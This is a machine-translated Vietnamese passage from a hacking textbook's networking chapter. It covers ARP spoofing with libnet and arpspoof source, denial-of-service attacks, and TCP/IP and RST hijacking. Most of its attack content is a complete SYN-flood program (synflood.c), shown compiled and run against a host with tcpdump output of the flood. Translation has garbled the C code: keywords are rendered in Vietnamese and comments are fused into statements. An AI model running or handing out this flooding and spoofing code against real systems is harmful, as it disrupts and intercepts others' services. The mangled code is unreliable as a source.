Loại ETHER_PUP
Giao thức PUP
Loại ETHER_IP
Giao thức IP
Loại ETHER_ARP
Giao thức ARP
ETHERTYPE_TÁI TẠO
Giao thức ARP ngược
Loại_VLAN_ETHER
Đánh dấu IEEE VLAN
ETHERTYPE_LOOPBACK Được sử dụng để kiểm tra giao diện
libnet_build_arp() xây dựng một gói tin ARP (Giao thức phân giải địa chỉ).
Được cung cấp như sau: loại địa chỉ phần cứng, loại địa chỉ giao thức, độ dài địa
chỉ phần cứng, độ dài địa chỉ giao thức, loại gói ARP, địa chỉ phần cứng của bên gửi,
địa chỉ giao thức của bên gửi, địa chỉ phần cứng đích, địa chỉ giao thức đích,
tải trọng gói, kích thước tải trọng và cuối cùng là một con trỏ đến bộ nhớ tiêu
đề gói. Lưu ý rằng chức năng này
248 0x400
Machine Translated by Google
chỉ xây dựng các gói Ethernet/IP ARP và do đó giá trị đầu tiên phải là ARPHRD_ETHER. Kiểu gói ARP
phải là một trong những kiểu sau: ARPOP_REQUEST, ARPOP_REPLY, ARPOP_REVREQUEST,
ARPOP_REVREPLY, ARPOP_INVREQUEST hoặc ARPOP_INVREPLY.
libnet_destroy_packet() giải phóng bộ nhớ liên quan đến gói tin.
libnet_close_link_interface() đóng giao diện gói tin cấp thấp đã mở.
Trả về 1 nếu thành công hoặc -1 nếu có lỗi.
Với hiểu biết cơ bản về C, tài liệu API và hiểu biết thông thường, bạn có thể tự học chỉ bằng cách
kiểm tra các dự án nguồn mở. Ví dụ, Dug Song cung cấp một chương trình có tên là arpspoof, đi kèm với
dsniff, thực hiện tấn công chuyển hướng ARP.
Từ trang Man arpspoof
TÊN
arpspoof - chặn các gói tin trên mạng LAN được chuyển mạch
TÓM TẮT
arpspoof [-i giao diện] [-t mục tiêu] máy chủ
SỰ MIÊU TẢ
arpspoof chuyển hướng các gói tin từ máy chủ đích (hoặc tất cả các máy chủ) trên mạng LAN
dành cho máy chủ khác trên mạng LAN bằng cách giả mạo phản hồi ARP. Đây là
một cách cực kỳ hiệu quả để theo dõi lưu lượng truy cập trên một thiết bị chuyển mạch.
Chuyển tiếp IP hạt nhân (hoặc một chương trình người dùng thực hiện
tương tự, ví dụ fragrouter(8)) phải được bật trước.
TÙY CHỌN
-i giao diện
Chỉ định giao diện sử dụng.
-t mục tiêu
Chỉ định một máy chủ cụ thể để đầu độc ARP (nếu không được chỉ định, tất cả
máy chủ trên mạng LAN).
máy chủ Chỉ định máy chủ mà bạn muốn chặn các gói tin (thường là
cổng địa phương).
XEM THÊM
dsniff(8), fragrouter(8)
TÁC GIẢ
Bài hát Dug <dugsong@monkey.org>
Sự kỳ diệu của chương trình này đến từ hàm arp_send() , hàm này cũng sử dụng libnet để giả mạo các
gói tin. Mã nguồn của hàm này có thể đọc được đối với bạn, vì nhiều hàm libnet đã giải thích trước đó
được sử dụng (hiển thị bằng chữ in đậm bên dưới). Việc sử dụng các cấu trúc và bộ đệm lỗi cũng quen thuộc.
Mạng lưới 249
Machine Translated by Google
arpspoof.c
cấu trúc tĩnh libnet_link_int *llif;
cấu trúc tĩnh ether_addr spoof_mac, target_mac;
cấu trúc tĩnh in_addr_t spoof_ip, target_ip;
...
số nguyên
arp_send(struct libnet_link_int *llif, char *dev, int
op, u_char *sha, in_addr_t spa, u_char *tha, in_addr_t tpa)
{
char ebuf[128];
u_char pkt[60];
nếu (sha == NULL &&
(sha = (u_char *)libnet_get_hwaddr(llif, dev, ebuf)) == NULL) { trả
về (-1);
} nếu (spa ==
0) { nếu ((spa = libnet_get_ipaddr(llif, dev, ebuf)) ==
0) trả về
(-1); spa = htonl(spa); /* XXX */
} nếu (tha ==
NULL) tha = "\xff\xff\xff\xff\xff\xff";
libnet_build_ethernet(tha, sha, ETHERTYPE_ARP, NULL, 0, gói);
libnet_build_arp(ARPHRD_ETHER, ETHERTYPE_IP, ETHER_ADDR_LEN, 4, op,
sha, (u_char *)&spa, tha, (u_char *)&tpa,
NULL, 0, gói + ETH_H);
fprintf(stderr, "%s ",
ether_ntoa((cấu trúc ether_addr *)sha));
nếu (op == YÊU CẦU ARPOP) {
fprintf(stderr, "%s 0806 42: arp who-has %s tell %s\n",
ether_ntoa((struct ether_addr *)tha),
libnet_host_lookup(tpa, 0),
libnet_host_lookup(spa, 0));
} else
{ fprintf(stderr, "%s 0806 42: phản hồi arp %s is-at
", ether_ntoa((struct ether_addr *)tha),
libnet_host_lookup(spa, 0));
fprintf(stderr, "%s\n",
ether_ntoa((struct ether_addr *)sha));
} trả về (libnet_write_link_layer(llif, dev, pkt, sizeof(pkt)) == sizeof(pkt));
}
250 0x400
Machine Translated by Google
Các hàm libnet còn lại lấy địa chỉ phần cứng, lấy địa chỉ IP và tra cứu máy chủ. Các hàm này
có tên mô tả và được giải thích chi tiết trên trang hướng dẫn libnet.
Từ trang man libnet
libnet_get_hwaddr() lấy một con trỏ đến một cấu trúc giao diện lớp liên kết, một
con trỏ đến tên thiết bị mạng và một bộ đệm trống để sử dụng trong trường hợp có lỗi.
Hàm trả về địa chỉ MAC của giao diện đã chỉ định khi thành công hoặc 0 khi có lỗi (và
errbuf sẽ chứa lý do).
libnet_get_ipaddr() lấy một con trỏ đến một cấu trúc giao diện lớp liên kết, một
con trỏ đến tên thiết bị mạng và một bộ đệm trống để sử dụng trong trường hợp lỗi. Khi
thành công, hàm trả về địa chỉ IP của giao diện được chỉ định theo thứ tự byte máy
chủ hoặc 0 khi có lỗi (và errbuf sẽ chứa lý do).
libnet_host_lookup() chuyển đổi địa chỉ IPv4 được sắp xếp theo mạng (big-endian) được
cung cấp thành địa chỉ tương ứng mà con người có thể đọc được. Nếu
use_name là 1, libnet_host_lookup() sẽ cố gắng giải quyết địa chỉ IP này và trả về
một tên máy chủ, nếu không (hoặc nếu tra cứu không thành công), hàm sẽ trả về một
chuỗi ASCII thập phân có dấu chấm.
Khi bạn đã học cách đọc mã C, các chương trình hiện có có thể dạy bạn rất nhiều thông qua ví dụ.
Các thư viện lập trình như libnet và libpcap có rất nhiều tài liệu giải thích mọi chi tiết mà bạn có
thể không thể tìm ra chỉ từ nguồn. Mục tiêu ở đây là dạy bạn cách học từ mã nguồn, trái ngược với việc
chỉ dạy cách sử dụng một vài thư viện. Sau cùng, có rất nhiều thư viện khác và rất nhiều mã nguồn
hiện có sử dụng chúng.
0x450 Từ chối dịch vụ
Một trong những hình thức tấn công mạng đơn giản nhất là tấn công Từ chối dịch vụ (DoS).
Thay vì cố gắng đánh cắp thông tin, một cuộc tấn công DoS chỉ đơn giản là ngăn chặn quyền truy cập
vào một dịch vụ hoặc tài nguyên. Có hai dạng tấn công DoS chung: loại làm sập dịch vụ và loại làm
ngập dịch vụ.
Các cuộc tấn công từ chối dịch vụ làm sập dịch vụ thực ra giống với các khai thác chương
trình hơn là các khai thác dựa trên mạng. Thông thường, các cuộc tấn công này phụ thuộc vào việc
triển khai kém của một nhà cung cấp cụ thể. Một khai thác tràn bộ đệm bị lỗi thường chỉ làm sập
chương trình mục tiêu thay vì chuyển hướng luồng thực thi đến shellcode đã tiêm. Nếu chương trình
này tình cờ nằm trên một máy chủ, thì không ai khác có thể truy cập vào máy chủ đó sau khi nó bị
sập. Các cuộc tấn công DoS làm sập như thế này có liên quan chặt chẽ đến một chương trình nhất định
và một phiên bản nhất định.
Vì hệ điều hành xử lý ngăn xếp mạng, nên sự cố trong mã này sẽ hạ gục hạt nhân, từ chối dịch vụ cho
toàn bộ máy. Nhiều lỗ hổng trong số này đã được vá từ lâu trên các hệ điều hành hiện đại, nhưng
vẫn hữu ích khi nghĩ về cách các kỹ thuật này có thể được áp dụng cho các tình huống khác nhau.
Mạng lưới 251
Machine Translated by Google
0x451 Tràn ngập SYN
Một đợt tấn công SYN cố gắng làm cạn kiệt các trạng thái trong ngăn xếp TCP/IP. Vì TCP
duy trì các kết nối “đáng tin cậy”, nên mỗi kết nối cần được theo dõi ở đâu đó. Ngăn xếp
TCP/IP trong hạt nhân xử lý việc này, nhưng nó có một bảng hữu hạn chỉ có thể theo dõi
một số lượng kết nối đến nhất định. Một đợt tấn công SYN sử dụng giả mạo để tận dụng
hạn chế này.
Kẻ tấn công làm ngập hệ thống của nạn nhân bằng nhiều gói SYN, sử dụng một địa chỉ
nguồn giả mạo không tồn tại. Vì một gói SYN được sử dụng để khởi tạo kết nối TCP, máy
của nạn nhân sẽ gửi một gói SYN/ACK đến địa chỉ giả mạo để phản hồi và chờ phản hồi ACK
dự kiến. Mỗi kết nối nửa mở đang chờ này sẽ được đưa vào hàng đợi tồn đọng có không gian
hạn chế. Vì các địa chỉ nguồn giả mạo không thực sự tồn tại, nên các phản hồi ACK cần
thiết để xóa các mục này khỏi hàng đợi và hoàn tất các kết nối sẽ không bao giờ đến.
Thay vào đó, mỗi kết nối nửa mở phải hết thời gian chờ, mất khá nhiều thời gian.
Miễn là kẻ tấn công tiếp tục làm ngập hệ thống của nạn nhân bằng các gói SYN giả mạo, hàng đợi tồn
đọng của nạn nhân sẽ vẫn đầy, khiến các gói SYN thực sự gần như không thể đến được hệ thống và khởi tạo
các kết nối TCP/IP hợp lệ.
Sử dụng mã nguồn Nemesis và arpspoof làm tài liệu tham khảo, bạn sẽ có thể viết một
chương trình thực hiện cuộc tấn công này. Chương trình ví dụ bên dưới sử dụng các hàm
libnet được lấy từ mã nguồn và các hàm socket đã giải thích trước đó. Mã nguồn Nemesis sử
dụng hàm libnet_get_prand()
để lấy số giả ngẫu nhiên cho nhiều trường IP khác nhau. Hàm libnet_seed_prand()
được sử dụng để gieo hạt cho trình tạo ngẫu nhiên. Các hàm này được sử dụng tương tự
bên dưới.
synflood.c
#include <libnet.h>
#define FLOOD_DELAY 5000 // Độ trễ giữa các lần đưa gói tin vào là 5000 ms.
/* Trả về IP theo ký hiệu xxxx */
char *print_ip(u_long *ip_addr_ptr) {
trả về inet_ntoa( *((struct in_addr *)ip_addr_ptr) );
}
int main(int argc, char *argv[]) {
địa chỉ IP đích dài;
u_short cổng đích;
u_char errbuf[LIBNET_ERRBUF_SIZE], *gói tin;
int opt, mạng, số lượng byte, kích thước gói tin = LIBNET_IP_H + LIBNET_TCP_H;
nếu(argc < 3)
{
printf("Cách sử dụng:\n%s\t <máy chủ mục tiêu> <cổng mục tiêu>\n", argv[0]);
thoát(1);
}
252 0x400
Machine Translated by Google
dest_ip = libnet_name_resolve(argv[1], LIBNET_RESOLVE); // Máy chủ dest_port =
(u_short) atoi(argv[2]); // Cổng
network = libnet_open_raw_sock(IPPROTO_RAW); // Mở giao diện mạng. if (network == -1)
libnet_error(LIBNET_ERR_FATAL, "không thể mở giao diện mạng. -- chương trình này phải chạy dưới dạng root.\n");
libnet_init_packet(packet_size, &packet); // Phân bổ bộ nhớ cho gói. if (packet == NULL)
libnet_error(LIBNET_ERR_FATAL, "không thể khởi tạo bộ nhớ gói tin.\n");
libnet_seed_prand(); // Gieo hạt cho trình tạo số ngẫu nhiên.
printf("SYN Cổng tràn ngập %d của %s..\n", dest_port, print_ip(&dest_ip));
while(1) // lặp mãi mãi (cho đến khi ngắt bằng CTRL-C) {
libnet_build_ip(LIBNET_TCP_H, // Kích thước của gói tin không có tiêu đề IP.
IPTOS_LOWDELAY,
// IP tos
libnet_get_prand(LIBNET_PRu16), // IP ID (ngẫu nhiên)
// Frag stuff 0,
libnet_get_prand(LIBNET_PR8), // TTL (ngẫu nhiên)
IPPROTO_TCP,
// Giao thức vận chuyển
libnet_get_prand(LIBNET_PRu32), // IP nguồn (ngẫu nhiên) dest_ip, NULL, 0,
packet);
// Địa chỉ IP đích
// Tải trọng (không có)
// Chiều dài tải trọng
// Bộ nhớ tiêu đề gói tin
libnet_build_tcp(libnet_get_prand(LIBNET_PRu16), // Cổng TCP nguồn (ngẫu nhiên) dest_port,
// Cổng TCP đích
libnet_get_prand(LIBNET_PRu32), // Số thứ tự (ngẫu nhiên)
libnet_get_prand(LIBNET_PRu32), // Số xác nhận (ngẫu nhiên)
TH_SYN,
// Cờ điều khiển (chỉ cờ SYN được đặt)
libnet_get_prand(LIBNET_PRu16), // Kích thước cửa sổ (ngẫu nhiên)
// Con trỏ khẩn cấp 0,
VÔ GIÁ TRỊ,
// Tải trọng (không có)
// Độ dài tải trọng
0, gói tin + LIBNET_IP_H);
// Bộ nhớ tiêu đề gói tin
nếu (libnet_do_checksum(gói, IPPROTO_TCP, LIBNET_TCP_H) == -1)
libnet_error(LIBNET_ERR_FATAL, "không thể tính toán tổng kiểm tra\n");
byte_count = libnet_write_ip(mạng, gói, kích thước gói); // Tiêm gói. nếu (byte_count < kích thước
gói)
libnet_error(LIBNET_ERR_WARNING, "Cảnh báo: Gói tin chưa được ghi đầy đủ. (%d trong tổng số %d byte)",
byte_count, packet_size);
usleep(FLOOD_DELAY); // Chờ FLOOD_DELAY tính bằng mili giây.
}
libnet_destroy_packet(&packet); // Giải phóng bộ nhớ gói tin.
if (libnet_close_raw_sock(network) == -1) // Đóng giao diện mạng.
Mạng lưới 253
Machine Translated by Google
libnet_error(LIBNET_ERR_WARNING, "không thể đóng giao diện mạng.");
trả về 0;
}
Chương trình này sử dụng hàm print_ip() để xử lý việc chuyển đổi kiểu
u_long, được libnet sử dụng để lưu trữ địa chỉ IP, thành kiểu struct mà inet_ntoa()
mong đợi. Giá trị không thay đổi—việc ép kiểu chỉ làm dịu trình biên dịch.
Phiên bản hiện tại của libnet là phiên bản 1.1, không tương thích với libnet
1.0. Tuy nhiên, Nemesis và arpspoof vẫn dựa trên phiên bản 1.0 của libnet, vì vậy
phiên bản này được bao gồm trong LiveCD và đây cũng là phiên bản chúng ta sẽ sử dụng
trong chương trình synflood của mình. Tương tự như biên dịch bằng libpcap, khi biên
dịch bằng libnet, cờ -lnet được sử dụng. Tuy nhiên, thông tin này không đủ cho trình
biên dịch, như kết quả đầu ra bên dưới cho thấy.
reader@hacking:~/booksrc $ gcc -o synflood synflood.c -lnet
Trong tệp được bao gồm từ synflood.c:1:
/usr/include/libnet.h:87:2: #error "thứ tự byte chưa được chỉ định, bạn sẽ"
synflood.c:6: lỗi: lỗi cú pháp trước hằng chuỗi
người đọc@hacking:~/booksrc $
Trình biên dịch vẫn không thành công vì cần phải thiết lập một số cờ định nghĩa
bắt buộc cho libnet. Có trong libnet, một chương trình có tên là libnet-config sẽ xuất
ra các cờ này.
người đọc@hacking:~/booksrc $ libnet-config --help
Sử dụng: libnet-config [TÙY CHỌN]
Tùy chọn:
[--thư viện]
[--clags]
[--định nghĩa]
người đọc@hacking:~/booksrc $ libnet-config --defines
-D_BSD_NGUỒN -D__BSD_NGUỒN -D__FAVOR_BSD -DHAVE_NET_ETHERNET_H
-DLIBNET_LIL_ENDIAN
Khi sử dụng lệnh thay thế của shell BASH trong cả hai, các định nghĩa này có thể
được chèn động vào lệnh biên dịch.
reader@hacking:~/booksrc $ gcc $(libnet-config --defines) -o synflood synflood.c -lnet
reader@hacking:~/booksrc $ ./synflood Cách sử
dụng:
./synflood
<máy chủ đích> <cổng đích>
người đọc@hacking:~/booksrc $
người đọc@hacking:~/booksrc $ ./synflood 192.168.42.88 22
Lỗi nghiêm trọng: không thể mở giao diện mạng. -- chương trình này phải chạy dưới quyền root.
người đọc@hacking:~/booksrc $ sudo ./synflood 192.168.42.88 22
SYN Làm ngập cổng 22 trong số 192.168.42.88..
254 0x400
Machine Translated by Google
Trong ví dụ trên, máy chủ 192.168.42.88 là máy Windows XP chạy máy chủ openssh
trên cổng 22 qua cygwin. Đầu ra tcpdump bên dưới hiển thị các gói SYN giả mạo đang
tràn ngập máy chủ từ các IP ngẫu nhiên. Trong khi chương trình đang chạy, không thể
thực hiện các kết nối hợp lệ đến cổng này.
người đọc@hacking:~/booksrc $ sudo tcpdump -i eth0 -nl -c 15 "máy chủ 192.168.42.88"
tcpdump: đầu ra chi tiết bị loại bỏ, sử dụng -v hoặc -vv để giải mã giao thức đầy đủ
đang lắng nghe trên eth0, loại liên kết EN10MB (Ethernet), kích thước chụp 96 byte
17:08:16.334498 IP 121.213.150.59.4584 > 192.168.42.88.22: S 751659999:751659999(0)
thắng 14609
17:08:16.346907 IP 158.78.184.110.40565 > 192.168.42.88.22: S 139725579:139725579(0)
thắng 64357
17:08:16.358491 IP 53.245.19.50.36638 > 192.168.42.88.22: S
322318966:322318966(0) thắng 43747
17:08:16.370492 IP 91.109.238.11.4814 > 192.168.42.88.22: S
685911671:685911671(0) thắng 62957
17:08:16.382492 IP 52.132.214.97.45099 > 192.168.42.88.22: S 71363071:71363071(0)
thắng 30490
17:08:16.394909 IP 120.112.199.34.19452 > 192.168.42.88.22: S
1420507902:1420507902(0) thắng 53397
17:08:16.406491 IP 60.9.221.120.21573 > 192.168.42.88.22: S
2144342837:2144342837(0) thắng 10594
17:08:16.418494 IP 137.101.201.0.54665 > 192.168.42.88.22: S
1185734766:1185734766(0) thắng 57243
17:08:16.430497 IP 188.5.248.61.8409 > 192.168.42.88.22: S
1825734966:1825734966(0) thắng 43454
17:08:16.442911 IP 44.71.67.65.60484 > 192.168.42.88.22: S
1042470133:1042470133(0) thắng 7087
17:08:16.454489 IP 218.66.249.126.27982 > 192.168.42.88.22: S
1767717206:1767717206(0) thắng 50156
17:08:16.466493 IP 131.238.172.7.15390 > 192.168.42.88.22: S
2127701542:2127701542(0) thắng 23682
17:08:16.478497 IP 130.246.104.88.48221 > 192.168.42.88.22: S
2069757602:2069757602(0) thắng 4767
17:08:16.490908 IP 140.187.48.68.9179 > 192.168.42.88.22: S
1429854465:1429854465(0) thắng 2092
17:08:16.502498 IP 33.172.101.123.44358 > 192.168.42.88.22: S
1524034954:1524034954(0) thắng 26970
15 gói tin đã được bắt giữ
30 gói tin được nhận bởi bộ lọc
0 gói tin bị loại bỏ bởi hạt nhân
người đọc@hacking:~/booksrc $ ssh -v 192.168.42.88
OpenSSH_4.3p2, OpenSSL 0.9.8c 05 tháng 9 năm 2006
debug1: Đọc dữ liệu cấu hình /etc/ssh/ssh_config
debug1: Đang kết nối tới cổng 22 192.168.42.88 [192.168.42.88].
debug1: kết nối đến địa chỉ 192.168.42.88 cổng 22: Kết nối bị từ chối
ssh: kết nối đến máy chủ 192.168.42.88 cổng 22: Kết nối bị từ chối
người đọc@hacking:~/booksrc $
Một số hệ điều hành (ví dụ: Linux) sử dụng một kỹ thuật gọi là syncookies để cố
gắng ngăn chặn các cuộc tấn công SYN flood. Ngăn xếp TCP sử dụng syncookies điều chỉnh
số xác nhận ban đầu cho gói SYN/ACK phản hồi bằng cách sử dụng một giá trị dựa trên
thông tin chi tiết về máy chủ và thời gian (để ngăn chặn các cuộc tấn công phát lại).
Mạng lưới 255
Machine Translated by Google
Các kết nối TCP không thực sự trở nên hoạt động cho đến khi gói ACK cuối cùng cho
bắt tay TCP được kiểm tra. Nếu số thứ tự không khớp hoặc ACK không bao giờ đến,
kết nối sẽ không bao giờ được tạo. Điều này giúp ngăn chặn các nỗ lực kết nối giả
mạo, vì gói ACK yêu cầu thông tin được gửi đến địa chỉ nguồn của gói SYN ban đầu.
0x452 Tiếng Ping của Tử thần
Theo thông số kỹ thuật của ICMP, tin nhắn ICMP echo chỉ có thể có 216 hoặc 65.536
byte dữ liệu trong phần dữ liệu của gói. Phần dữ liệu của các gói ICMP thường bị
bỏ qua vì thông tin quan trọng nằm trong tiêu đề. Một số hệ điều hành đã bị sập
nếu chúng được gửi tin nhắn ICMP echo vượt quá kích thước được chỉ định. Một tin
nhắn ICMP echo có kích thước khổng lồ này được gọi một cách trìu mến là "The Ping
of Death". Đó là một vụ hack rất đơn giản khai thác lỗ hổng tồn tại vì không ai
từng nghĩ đến khả năng này. Bạn có thể dễ dàng viết một chương trình bằng libnet
có thể thực hiện cuộc tấn công này; tuy nhiên, nó sẽ không hữu ích trong thế giới
thực. Tất cả các hệ thống hiện đại đều được vá lỗ hổng này.
Tuy nhiên, lịch sử có xu hướng lặp lại. Mặc dù các gói ICMP quá khổ sẽ không làm sập máy tính
nữa, nhưng các công nghệ mới đôi khi cũng gặp phải các vấn đề tương tự. Giao thức Bluetooth,
thường được sử dụng với điện thoại, có một gói ping tương tự trên lớp L2CAP, cũng được sử dụng để đo
thời gian giao tiếp trên các liên kết đã thiết lập. Nhiều triển khai Bluetooth cũng gặp phải vấn đề
về gói ping quá khổ tương tự. Adam Laurie, Marcel Holtmann và Martin Herfurt đã đặt tên cho cuộc tấn công
này là Bluesmack và đã phát hành mã nguồn cùng tên thực hiện cuộc tấn công này.
0x453 Giọt nước mắt
Một cuộc tấn công DoS khác gây sập mạng xảy ra vì cùng lý do được gọi là teardrop.
Teardrop khai thác một điểm yếu khác trong việc triển khai IP fragmentation
reassembly của một số nhà cung cấp. Thông thường, khi một gói tin bị phân mảnh,
các offset được lưu trữ trong header sẽ xếp hàng để tái tạo gói tin gốc mà không
có sự chồng chéo. Cuộc tấn công teardrop đã gửi các mảnh gói tin có offset chồng
chéo, khiến các triển khai không kiểm tra tình trạng bất thường này chắc chắn
sẽ bị sập.
Mặc dù cuộc tấn công cụ thể này không còn hiệu quả nữa, nhưng việc hiểu khái
niệm này có thể phát hiện ra các vấn đề ở những lĩnh vực khác. Mặc dù không giới
hạn ở Từ chối dịch vụ, một khai thác từ xa gần đây trong hạt nhân OpenBSD (tự
hào về tính bảo mật) có liên quan đến các gói IPv6 bị phân mảnh. Phiên bản IP 6
sử dụng các tiêu đề phức tạp hơn và thậm chí là định dạng địa chỉ IP khác với
IPv4 mà hầu hết mọi người đều quen thuộc. Thông thường, những sai lầm tương tự
đã mắc phải trong quá khứ sẽ lặp lại khi triển khai sớm các sản phẩm mới.
256 0x400
Machine Translated by Google
0x454 Ping ngập lụt
Các cuộc tấn công DoS tràn ngập không nhất thiết phải cố gắng làm sập một dịch vụ hoặc tài nguyên,
mà thay vào đó cố gắng làm quá tải để nó không thể phản hồi. Các cuộc tấn công tương tự có thể
chiếm dụng các tài nguyên khác, chẳng hạn như chu kỳ CPU và quy trình hệ thống, nhưng một
cuộc tấn công tràn ngập cố gắng chiếm dụng một tài nguyên mạng.
Dạng tấn công đơn giản nhất chỉ là tấn công ping. Mục tiêu là sử dụng hết băng thông của nạn nhân
để lưu lượng hợp lệ không thể đi qua. Kẻ tấn công gửi nhiều gói ping lớn đến nạn nhân, làm hao hụt băng
thông kết nối mạng của nạn nhân.
Không có gì thực sự thông minh về cuộc tấn công này—nó chỉ là một cuộc chiến
về băng thông. Kẻ tấn công có băng thông lớn hơn nạn nhân có thể gửi nhiều dữ liệu
hơn nạn nhân có thể nhận và do đó từ chối lưu lượng hợp pháp khác đến nạn nhân.
0x455 Tấn công khuếch đại
Trên thực tế, có một số cách thông minh để thực hiện ping flood mà không cần sử
dụng lượng băng thông lớn. Một cuộc tấn công khuếch đại sử dụng phương pháp giả
mạo và địa chỉ phát sóng để khuếch đại một luồng gói tin duy nhất lên gấp trăm lần.
Đầu tiên, phải tìm được hệ thống khuếch đại mục tiêu. Đây là mạng cho phép giao
tiếp với địa chỉ phát sóng và có số lượng máy chủ hoạt động tương đối cao. Sau
đó, kẻ tấn công gửi các gói yêu cầu phản hồi ICMP lớn đến địa chỉ phát sóng của
mạng khuếch đại, với địa chỉ nguồn giả mạo của hệ thống nạn nhân. Bộ khuếch đại sẽ
phát các gói này đến tất cả các máy chủ trên mạng khuếch đại, sau đó sẽ gửi các
gói phản hồi ICMP tương ứng đến địa chỉ nguồn giả mạo (tức là đến máy của nạn nhân).
Sự khuếch đại lưu lượng này cho phép kẻ tấn công gửi một luồng tương đối nhỏ
các gói tin yêu cầu phản hồi ICMP, trong khi nạn nhân bị ngập trong số lượng gói
tin phản hồi ICMP nhiều gấp vài trăm lần. Cuộc tấn công này có thể được thực hiện
với cả các gói tin ICMP và các gói tin phản hồi UDP. Các kỹ thuật này được gọi là
các cuộc tấn công smurf và fraggle .
Gói tin giả mạo từ
địa chỉ của nạn nhân được
Mạng lưới khuếch đại
gửi đến địa chỉ phát sóng
AB
C
FGH
E
D
TÔI
của mạng khuếch đại
Kẻ tấn công
J
Tất cả các máy chủ
phản hồi địa
chỉ nguồn giả mạo
Nạn nhân
Mạng lưới 257
Machine Translated by Google
0x456 Tấn công DoS phân tán
Tấn công DoS phân tán (DDoS) là phiên bản phân tán của tấn công DoS tràn ngập. Vì mục tiêu của tấn
công DoS tràn ngập là tiêu thụ băng thông, nên kẻ tấn công có thể sử dụng càng nhiều băng thông thì
chúng có thể gây ra càng nhiều thiệt hại. Trong một cuộc tấn công DDoS, trước tiên kẻ tấn công sẽ xâm
phạm một số máy chủ khác và cài đặt daemon vào chúng. Các hệ thống được cài đặt phần mềm như vậy thường
được gọi là bot và tạo nên cái gọi là botnet. Các bot này kiên nhẫn chờ cho đến khi kẻ tấn công chọn một
nạn nhân và quyết định tấn công. Kẻ tấn công sử dụng một số loại chương trình điều khiển và tất cả các
bot đồng thời tấn công nạn nhân bằng một số hình thức tấn công DoS tràn ngập. Số lượng lớn máy chủ phân
tán không chỉ làm tăng hiệu ứng của việc tràn ngập mà còn khiến việc truy tìm nguồn tấn công trở nên
khó khăn hơn nhiều.
0x460 Chiếm đoạt TCP/IP
TCP/IP hijacking là một kỹ thuật thông minh sử dụng các gói tin giả mạo để chiếm quyền kết nối giữa nạn
nhân và máy chủ. Kỹ thuật này đặc biệt hữu ích khi nạn nhân sử dụng mật khẩu một lần để kết nối với máy
chủ. Mật khẩu một lần có thể được sử dụng để xác thực một lần và chỉ một lần, điều đó có nghĩa là việc
đánh hơi xác thực là vô ích đối với kẻ tấn công.
Để thực hiện một cuộc tấn công chiếm đoạt TCP/IP, kẻ tấn công phải ở cùng mạng với nạn nhân. Bằng
cách đánh hơi phân đoạn mạng cục bộ, tất cả các chi tiết của các kết nối TCP mở có thể được lấy từ các
tiêu đề. Như chúng ta đã thấy, mỗi gói TCP chứa một số thứ tự trong tiêu đề của nó. Số thứ tự này được
tăng lên với mỗi gói được gửi để đảm bảo rằng các gói được nhận theo đúng thứ tự. Trong khi đánh hơi,
kẻ tấn công có quyền truy cập vào các số thứ tự cho một kết nối giữa nạn nhân (hệ thống A trong hình
minh họa sau) và một máy chủ (hệ thống B). Sau đó, kẻ tấn công gửi một gói giả mạo từ địa chỉ IP của
nạn nhân đến máy chủ, sử dụng số thứ tự đã đánh hơi để cung cấp số xác nhận thích hợp, như được hiển
thị ở đây.
nguồn : 192.168.0.100
ngày giờ : 192.168.0.200
số thứ tự: 1429775000
Mã xác nhận: 1250510000
dài : 24
Hệ thống A
Hệ thống B
192.168.0.100
192.168.0.200
nguồn : 192.168.0.200
ngày giờ : 192.168.0.100
số thứ tự: 1250510000
Mã xác nhận: 1429775024
dài : 167
nguồn : 192.168.0.100
ngày giờ : 192.168.0.200
số thứ tự: 1429775024
Mã xác nhận: 1250510167
dài : 71
Kẻ tấn công
hệ thống
258 0x400
Machine Translated by Google
Máy chủ sẽ nhận được gói tin giả mạo có số xác nhận chính xác và sẽ không có lý do gì để
tin rằng nó không đến từ máy nạn nhân.
0x461 RST bị chiếm đoạt
Một hình thức tấn công TCP/IP rất đơn giản bao gồm việc chèn một gói tin reset (RST) trông giống
thật. Nếu nguồn bị giả mạo và số xác nhận là đúng, phía nhận sẽ tin rằng nguồn thực sự đã gửi
gói tin reset và kết nối sẽ được thiết lập lại.
Hãy tưởng tượng một chương trình thực hiện cuộc tấn công này vào một IP mục tiêu. Ở cấp độ cao,
nó sẽ đánh hơi bằng libpcap, sau đó tiêm các gói RST bằng libnet. Một chương trình như vậy
không cần phải xem xét mọi gói mà chỉ cần xem xét các kết nối TCP đã thiết lập đến IP đích.
Nhiều chương trình khác sử dụng libpcap cũng không cần phải xem xét mọi gói, vì vậy libpcap cung
cấp một cách để yêu cầu hạt nhân chỉ gửi một số gói nhất định khớp với bộ lọc. Bộ lọc này, được
gọi là Bộ lọc gói Berkeley (BPF), rất giống với một chương trình. Ví dụ, quy tắc bộ lọc để lọc
IP đích là 192.168.42.88 là "dst host 192.168.42.88". Giống như một chương trình, quy tắc này
bao gồm từ khóa và phải được biên dịch trước khi thực sự được gửi đến hạt nhân. Chương trình
tcpdump sử dụng BPF để lọc những gì nó bắt được; nó cũng cung cấp một chế độ để đổ chương trình
lọc.
người đọc@hacking:~/booksrc $ sudo tcpdump -d "máy chủ dst 192.168.42.88"
(000) ldh [12]
(001) jeq #0x800 (002)
giờ thứ 2
jf4 4
(003) số #0xc0a82a58 (004) số
giờ 8
jf9
#0x806 (005) số #0x8035
giờ 6
jf5
(006) ld [38]
giờ 6
jf9
(007) jeq #0xc0a82a58 (008) ret
giờ thứ 8
jf9
ld [30]
#96
(009) trả về #0
người đọc@hacking:~/booksrc $ sudo tcpdump -ddd "máy chủ dst 192.168.42.88"
10
40 0 0 12
21 0 2 2048
32 0 0 30
21 4 5 3232246360
21 1 0 2054
21 0 3 32821
32 0 0 38
21 0 1 3232246360
6 0 0 96
6 0 0 0
người đọc@hacking:~/booksrc $
Sau khi quy tắc lọc được biên dịch, nó có thể được chuyển đến hạt nhân để lọc.
ing. Lọc các kết nối đã thiết lập phức tạp hơn một chút. Tất cả các kết nối đã thiết lập sẽ
có cờ ACK được đặt, vì vậy đây là những gì chúng ta nên tìm kiếm. Các cờ TCP được tìm thấy
trong octet thứ 13 của tiêu đề TCP.
Mạng lưới 259
Machine Translated by Google
cờ được tìm thấy theo thứ tự sau, từ trái sang phải: URG, ACK, PSH, RST, SYN và FIN. Điều này có
nghĩa là nếu cờ ACK được bật, octet thứ 13 sẽ là 00010000 ở dạng nhị phân, tức là 16 ở dạng thập
phân. Nếu cả SYN và ACK đều được bật, octet thứ 13 sẽ là 00010010 ở dạng nhị phân, tức là 18 ở
dạng thập phân.
